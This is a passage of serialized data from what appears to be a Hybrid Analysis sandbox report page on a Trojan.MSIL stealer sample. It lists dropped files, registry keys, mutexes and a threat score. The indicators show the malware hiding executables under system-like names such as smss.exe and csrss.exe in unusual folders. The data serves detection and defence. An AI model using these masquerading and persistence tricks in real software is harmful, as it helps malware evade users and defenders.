Documents\\21217b1546ce0481b3c74099dfbd96666b497b32","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%USERPROFILE%\\Documents\\21217b1546ce0481b3c74099dfbd96666b497b32","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%WINDIR%\\System32\\wbem\\p2p-mesh\\24dbde2999530ef5fd907494bc374d663924116c","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%TEMP%\\hchJ5AbFW3","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe.log","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\ShellExperienceHost.exe.log","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"C:\\980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50\\980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.exe","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"C:\\980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50\\5d92d2d4b3d0662bd9bf0b2226a8417bf25f226b","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%WINDIR%\\System32\\rdpwsx\\mobsync.exe","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%WINDIR%\\System32\\rdpwsx\\2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"C:\\PerfLogs\\Admin\\smss.exe","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"C:\\PerfLogs\\Admin\\69ddcba757bf72f7d36c464c71f42baab150b2b9","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%WINDIR%\\SchCache\\mobsync.exe","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%WINDIR%\\System32\\KBDINMAR\\mobsync.exe","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"C:\\Temp\\csrss.exe","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"C:\\Temp\\886983d96e3d3e31032c679b2d4ea91b6c05afef","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%WINDIR%\\SchCache\\2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"path":"%WINDIR%\\System32\\KBDINMAR\\2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\0aa3cd7f25f8355925f88ba2213e183e5f7fe3df","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Local\\SM0:7040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"0aa3cd7f25f8355925f88ba2213e183e5f7fe3df","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Local\\SM0:7040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Global\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7784:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7784:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"Local\\SM0:7784:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"Local\\SM0:7784:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}]}},"report_ids":{"sandbox_job_ids":["63dd5e57b598a57b2c6bbeab","63dda01eb5854e7e8017228e"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.MSIL.Basic.8 Sample 980024e8c13c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 980024e8c13c…. Malware family: Trojan.MSIL.Basic.8. Threat score 100/100. 16/28 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.MSIL.Basic.8 Sample 980024e8c13c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 980024e8c13c…. Malware family: Trojan.MSIL.Basic.8. Threat score 100/100. 16/28 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.MSIL.Basic.8 Sample 980024e8c13c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 980024e8c13c…. Malware family: Trojan.MSIL.Basic.8. Threat score 100/100. 16/28 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L36","11",{}]]